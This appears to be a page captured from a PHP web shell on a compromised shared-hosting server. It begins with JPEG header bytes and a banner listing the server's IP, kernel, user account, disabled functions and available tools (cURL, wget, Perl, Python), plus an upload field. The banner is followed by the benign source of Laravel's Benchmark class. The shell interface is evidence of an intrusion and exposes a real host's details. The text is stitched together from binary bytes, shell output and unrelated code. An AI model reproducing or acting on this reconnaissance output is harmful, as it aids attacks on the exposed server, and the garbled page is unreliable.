����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.136.17.118 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/laravel/framework/src/Illuminate/Support/ |
Upload File : |
<?php namespace Illuminate\Support; use Closure; class Benchmark { /** * Measure a callable or array of callables over the given number of iterations. * * @param \Closure|array $benchmarkables * @param int $iterations * @return array|float */ public static function measure(Closure|array $benchmarkables, int $iterations = 1): array|float { return collect(Arr::wrap($benchmarkables))->map(function ($callback) use ($iterations) { return collect(range(1, $iterations))->map(function () use ($callback) { gc_collect_cycles(); $start = hrtime(true); $callback(); return (hrtime(true) - $start) / 1000000; })->average(); })->when( $benchmarkables instanceof Closure, fn ($c) => $c->first(), fn ($c) => $c->all(), ); } /** * Measure a callable or array of callables over the given number of iterations, then dump and die. * * @param \Closure|array $benchmarkables * @param int $iterations * @return never */ public static function dd(Closure|array $benchmarkables, int $iterations = 1): void { $result = collect(static::measure(Arr::wrap($benchmarkables), $iterations)) ->map(fn ($average) => number_format($average, 3).'ms') ->when($benchmarkables instanceof Closure, fn ($c) => $c->first(), fn ($c) => $c->all()); dd($result); } }